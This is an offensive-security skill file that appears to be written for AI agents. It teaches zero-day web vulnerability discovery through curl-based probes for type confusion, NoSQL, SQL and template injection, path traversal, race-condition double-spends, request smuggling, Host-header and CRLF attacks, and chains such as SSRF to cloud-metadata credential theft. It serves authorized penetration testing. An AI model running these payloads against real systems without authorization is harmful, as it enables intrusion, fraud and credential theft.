performing-zero-day-vulnerability-discovery

$npx mdskill add xalgord/xalgorix/performing-zero-day-vulnerability-discovery

- When standard vulnerability scanners and known CVE checks return no results - During deep-dive penetration tests where the client expects original research - For custom-built applications with no public CVE history - When testing proprietary software, APIs, or firmware - During bug bounty hunting where unique/novel findings earn higher payouts - After exhausting all known attack vectors in earlier phases

SKILL.md

.github/skills/performing-zero-day-vulnerability-discoveryView on GitHub ↗
---
name: performing-zero-day-vulnerability-discovery
description: Systematic methodology for discovering novel vulnerabilities through manual code auditing, fuzzing, reverse engineering, and creative attack chaining during authorized security assessments.
domain: cybersecurity
subdomain: offensive-security
tags:
- penetration-testing
- zero-day
- fuzzing
- vulnerability-research
- exploit-development
- bug-bounty
version: '1.0'
author: xalgord
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- DE.CM-01
---

# Performing Zero-Day & Novel Vulnerability Discovery

## When to Use

- When standard vulnerability scanners and known CVE checks return no results
- During deep-dive penetration tests where the client expects original research
- For custom-built applications with no public CVE history
- When testing proprietary software, APIs, or firmware
- During bug bounty hunting where unique/novel findings earn higher payouts
- After exhausting all known attack vectors in earlier phases

## Most Often Missed & How to Confirm

- Business-logic and authorization flaws: scanners can't see them, so they're the highest-value miss. Confirm IDOR/BOLA by replaying a request with a second valid account's token and proving you read/modify the first user's data — never infer from status codes alone.
- Race conditions assumed, not proven: a "double-spend" needs evidence. Confirm with single-packet attack / Turbo Intruder, then show the post-condition (balance went negative, coupon applied twice) and that a sequential run does NOT reproduce it.
- Type confusion / NoSQL operator injection: sending `{"id":{"$gt":""}}` or arrays often slips auth, but a 200 isn't proof. Confirm it changed behavior — returned another user's record, bypassed a filter, or altered the query — by diffing against the well-typed baseline response.
- Reflection mistaken for execution: `{{7*7}}`→`49` confirms SSTI, but a reflected `{{7*7}}` string does not. Confirm injection class with engine-specific payloads (`${7*7}`, `<%= 7*7 %>`, `#{7*7}`) and escalate to a benign command/read to prove impact.
- Request smuggling false leads: timing alone is noisy. Confirm CL.TE/TE.CL by poisoning the socket so a second, unrelated request receives your prefixed response, or by capturing another user's request — reproduce it at least twice.
- SSRF without impact: hitting `169.254.169.254` may return nothing on IMDSv2. Confirm by retrieving an actual credential/metadata document or reaching a known-internal-only host, and capture the response as proof.
- Chains scored as parts: confirm the full chain end-to-end with one PoC script and compute CVSS on the final impact, not the individual primitives.
- Fuzzer 500s ≠ vulns: triage each crash, reproduce the minimized input deterministically, and identify the root cause before reporting.

## Prerequisites

- **Authorization**: Written agreement explicitly covering vulnerability research and fuzzing
- **ffuf/wfuzz**: HTTP fuzzing tools
- **Burp Suite Professional**: With Intruder, Repeater, and extensions
- **radamsa**: General-purpose fuzzer (`apt install radamsa`)
- **AFL++**: Coverage-guided binary fuzzer (`apt install afl++`)
- **Python 3**: For custom exploit scripting
- **Deep understanding**: Of the target's tech stack, frameworks, and architecture
- **Patience**: Zero-day discovery requires methodical, time-intensive analysis

## Workflow

### Step 1: Deep Application Mapping and Logic Understanding

Go beyond surface-level crawling — understand HOW the application works.

```bash
# === MAP ALL STATE-CHANGING OPERATIONS ===
# Document every action that modifies data:
# - User registration, profile updates, password changes
# - Payment flows, order processing, refunds
# - File operations (upload, download, delete, share)
# - Admin operations (user management, config changes)
# - API integrations (webhooks, callbacks, third-party calls)

# === IDENTIFY TRUST BOUNDARIES ===
# Where does the application transition between:
# - Unauthenticated → Authenticated
# - User → Admin
# - Frontend → Backend API
# - Application → Database
# - Application → External service
# - Client-side → Server-side validation

# === EXTRACT AND ANALYZE JAVASCRIPT ===
# Pull all JS files and look for hidden endpoints and logic
katana -u https://target.example.com -d 3 -jc | grep "\.js$" | sort -u > js-files.txt

while read jsurl; do
  echo "=== $jsurl ==="
  curl -s "$jsurl" | grep -oP '(?:"|'"'"')(/api/[a-zA-Z0-9/_-]+)(?:"|'"'"')' | sort -u
done < js-files.txt | tee hidden-endpoints.txt

# Look for hardcoded secrets in JS
while read jsurl; do
  curl -s "$jsurl" | grep -iE \
    'api[_-]?key|secret|token|password|auth|bearer|aws_|private' | head -5
done < js-files.txt

# Deobfuscate webpack/minified JS
# Use browser DevTools Sources tab → Pretty Print
# Or: js-beautify file.js
```

### Step 2: Parameter Manipulation and Boundary Testing

Test every parameter with unexpected values to trigger edge cases.

```bash
# === TYPE CONFUSION TESTING ===
# Send wrong types for every parameter
ENDPOINT="https://target.example.com/api/users/1"

# Expected: integer ID → send string
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": "abc"}'
# Expected: string → send array
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": [1,2,3]}'
# Expected: string → send object
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": {"$gt": ""}}'
# Expected: string → send null
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": null}'
# Expected: string → send boolean
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": true}'
# Expected: positive int → send negative
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": -1}'
# Expected: normal int → send MAX_INT
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": 2147483647}'
curl -s "$ENDPOINT" -H "Content-Type: application/json" -d '{"id": 9999999999999999}'

# === BOUNDARY VALUE TESTING ===
# Empty strings, very long strings, unicode, special chars
for val in "" " " "null" "undefined" "NaN" "Infinity" \
  "$(python3 -c 'print("A"*10000)')" \
  "$(python3 -c 'print("\\x00"*100)')" \
  "{{7*7}}" "\${7*7}" "#{7*7}" "<%= 7*7 %>" \
  "' OR '1'='1" "\" OR \"1\"=\"1" \
  "../../../etc/passwd" "....//....//etc/passwd"; do
  echo -n "Testing: ${val:0:30}... -> "
  curl -s -o /dev/null -w "%{http_code} %{size_download}" \
    "$ENDPOINT" -H "Content-Type: application/json" \
    -d "{\"name\": \"$val\"}"
  echo
done

# === MASS ASSIGNMENT / PARAMETER POLLUTION ===
# Add unexpected fields to every request
curl -s -X POST "$ENDPOINT" \
  -H "Content-Type: application/json" \
  -d '{"name":"test", "role":"admin", "is_admin":true, "admin":1, "verified":true}'

# HTTP Parameter Pollution
curl -s "$ENDPOINT?id=1&id=2&id=admin"
curl -s "$ENDPOINT?role=user&role=admin"
```

### Step 3: Logic Flaw Discovery

Test business logic for flaws that scanners cannot detect.

```bash
# === RACE CONDITION TESTING ===
# Send identical requests simultaneously to find TOCTOU bugs

# Coupon/discount double-apply
for i in $(seq 1 20); do
  curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"coupon":"DISCOUNT50"}' \
    "https://target.example.com/api/cart/apply-coupon" &
done
wait

# Account balance race condition (withdraw more than balance)
for i in $(seq 1 10); do
  curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"amount": 100}' \
    "https://target.example.com/api/wallet/withdraw" &
done
wait

# === MULTI-STEP PROCESS BYPASS ===
# Skip steps in checkout/registration/verification flows
# Example: Skip payment verification step
# Step 1: Add to cart → Step 2: Enter payment → Step 3: Confirm
# Try jumping directly to Step 3 without completing Step 2

# === PRICE/QUANTITY MANIPULATION ===
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "price": 0.01, "quantity": -1}' \
  "https://target.example.com/api/orders"

# === PRIVILEGE ESCALATION VIA API ===
# Horizontal: Access other users' data by changing IDs
# Vertical: Access admin endpoints with user token
for endpoint in /api/admin/users /api/admin/settings /api/admin/logs \
  /api/internal/config /api/debug /api/v1/admin; do
  echo -n "$endpoint -> "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $USER_TOKEN" \
    "https://target.example.com$endpoint"
  echo
done
```

### Step 4: HTTP-Level Attack Vectors

Test HTTP parsing inconsistencies and protocol-level attacks.

```bash
# === REQUEST SMUGGLING ===
# CL.TE smuggling test
printf 'POST / HTTP/1.1\r\nHost: target.example.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' | \
  openssl s_client -connect target.example.com:443 -quiet 2>/dev/null

# TE.CL smuggling test
printf 'POST / HTTP/1.1\r\nHost: target.example.com\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n5e\r\nGPOST / HTTP/1.1\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n' | \
  openssl s_client -connect target.example.com:443 -quiet 2>/dev/null

# === HTTP METHOD OVERRIDE ===
# Try accessing restricted endpoints with method override headers
curl -s -X POST \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/users/1"

curl -s -X POST \
  -H "X-Method-Override: PUT" \
  "https://target.example.com/api/admin/config"

# === HOST HEADER ATTACKS ===
# Cache poisoning via Host header
curl -s -H "Host: evil.com" "https://target.example.com/"
curl -s -H "X-Forwarded-Host: evil.com" "https://target.example.com/"
curl -s -H "X-Forwarded-For: 127.0.0.1" "https://target.example.com/admin"

# === CRLF INJECTION ===
curl -s "https://target.example.com/redirect?url=https://example.com%0d%0aSet-Cookie:%20admin=true"
curl -s "https://target.example.com/api?param=value%0d%0aX-Injected:%20true" -I
```

### Step 5: Fuzzing Custom Endpoints

Use targeted fuzzing to discover crashes, errors, and unexpected behaviors.

```bash
# === HTTP PARAMETER FUZZING ===
# Fuzz parameter values with known-bad inputs
ffuf -u "https://target.example.com/api/search?q=FUZZ" \
  -w /usr/share/seclists/Fuzzing/special-chars.txt \
  -mc all -fc 400 -o fuzz-results.json

# Fuzz with format strings
ffuf -u "https://target.example.com/api/users/FUZZ" \
  -w /usr/share/seclists/Fuzzing/format-strings.txt \
  -mc all -o format-fuzz.json

# === HEADER FUZZING ===
# Fuzz custom headers for hidden functionality
ffuf -u "https://target.example.com/api/internal" \
  -H "X-Custom-Header: FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc all -fc 404

# === RADAMSA MUTATION FUZZING ===
# Mutate valid API requests to find parser bugs
echo '{"username":"test","password":"pass123"}' > seed.json

for i in $(seq 1 1000); do
  mutated=$(radamsa seed.json)
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d "$mutated" \
    "https://target.example.com/api/login" 2>/dev/null)
  if [ "$response" = "500" ]; then
    echo "CRASH at iteration $i: $mutated"
    echo "$mutated" >> crashes.txt
  fi
done

# === UNICODE AND ENCODING ATTACKS ===
# Test for Unicode normalization bugs
for payload in "admin" "ⓐⓓⓜⓘⓝ" "ᴀᴅᴍɪɴ" "ADMIN" "Admin" \
  "adm\u0131n" "ad\u200Bmin" "a]d[m}i{n"; do
  echo -n "$payload -> "
  curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"username\": \"$payload\"}" \
    "https://target.example.com/api/check-username"
  echo
done
```

### Step 6: Chain Vulnerabilities for Maximum Impact

Combine low-severity issues into high-impact attack chains.

```bash
# === COMMON ATTACK CHAINS ===

# Chain 1: Open Redirect + OAuth → Account Takeover
# Step 1: Find open redirect: /redirect?url=https://evil.com
# Step 2: Use as OAuth callback: /oauth/authorize?redirect_uri=/redirect?url=https://evil.com
# Step 3: Steal authorization code from evil.com logs

# Chain 2: Self-XSS + CSRF → Stored XSS
# Step 1: Find self-XSS in profile (only affects own session)
# Step 2: Find CSRF in profile update
# Step 3: Craft CSRF page that injects XSS payload into victim's profile

# Chain 3: SSRF + Cloud Metadata → RCE
# Step 1: Find SSRF in webhook/URL fetch feature
# Step 2: Access 169.254.169.254 for IAM credentials
# Step 3: Use stolen credentials to access internal services (Lambda, EC2)

# Chain 4: Information Disclosure + Password Reset → Account Takeover
# Step 1: Enumerate valid usernames via different response codes
# Step 2: Extract password reset tokens from verbose error messages
# Step 3: Forge password reset link

# === DOCUMENT EACH CHAIN ===
echo "Chain discovered: [components] → [impact]"
echo "Proof of concept: [step-by-step with curl commands]"
echo "CVSS: Calculate based on final chain impact, not individual components"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Zero-Day** | A vulnerability unknown to the vendor with no available patch |
| **Logic Flaw** | A vulnerability in application business logic that scanners cannot detect |
| **Race Condition** | Exploiting timing windows between check and use (TOCTOU) |
| **Type Confusion** | Sending unexpected data types to trigger parsing errors |
| **Attack Chaining** | Combining multiple low-severity issues into a high-impact exploit |
| **Request Smuggling** | Exploiting HTTP parsing differences between frontend and backend |
| **Mutation Fuzzing** | Automatically generating malformed inputs from valid samples |
| **Coverage-Guided Fuzzing** | Using code coverage feedback to explore new execution paths |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Manual testing, Intruder for parameter fuzzing, Repeater for chaining |
| **ffuf** | Fast HTTP fuzzing for parameters, headers, and paths |
| **radamsa** | General-purpose mutation-based fuzzer |
| **AFL++** | Coverage-guided binary fuzzer for native applications |
| **Turbo Intruder** | Burp extension for high-speed race condition testing |
| **Param Miner** | Burp extension for hidden parameter discovery |
| **HTTP Request Smuggler** | Burp extension for smuggling vulnerability detection |

## Common Scenarios

### Scenario 1: Unicode Normalization Account Takeover
Registration allows "ⓐⓓⓜⓘⓝ" (Unicode circled letters) but the backend normalizes it to "admin" during login. Attacker registers with Unicode variant, gains access as the real admin user.

### Scenario 2: Race Condition Double-Spend
Sending 20 simultaneous withdrawal requests of $100 against a $100 balance succeeds for 3 requests ($300 withdrawn) because the balance check and deduction are not atomic.

### Scenario 3: Request Smuggling to Admin Panel
A CL.TE smuggling vulnerability allows prepending admin-authenticated requests in the HTTP pipeline, bypassing the reverse proxy's access control to reach /admin endpoints.

## Output Format

```
## Novel Vulnerability Finding

**Vulnerability**: Race Condition in Payment Processing → Double-Spend
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/wallet/withdraw
**Type**: Zero-Day (No CVE assigned)

### Reproduction Steps
1. Authenticate as user with $100.00 balance
2. Prepare 20 identical withdrawal requests for $100.00 each
3. Send all 20 simultaneously using GNU parallel
4. 3 of 20 requests succeed → $300 withdrawn from $100 balance
5. User balance shows -$200.00

### Root Cause
The balance check (SELECT balance FROM wallets WHERE user_id=?) and deduction
(UPDATE wallets SET balance = balance - 100) are not wrapped in a database
transaction with proper row-level locking.

### Impact
- Financial loss: Unlimited fund extraction via race condition
- Affects all users with withdrawal capability
- No rate limiting on withdrawal endpoint

### Recommendation
1. Use SELECT ... FOR UPDATE with explicit transaction wrapping
2. Implement application-level mutex/lock per user for financial operations
3. Add idempotency keys to prevent duplicate transaction processing
4. Implement post-hoc reconciliation to detect negative balances
```

More from xalgord/xalgorix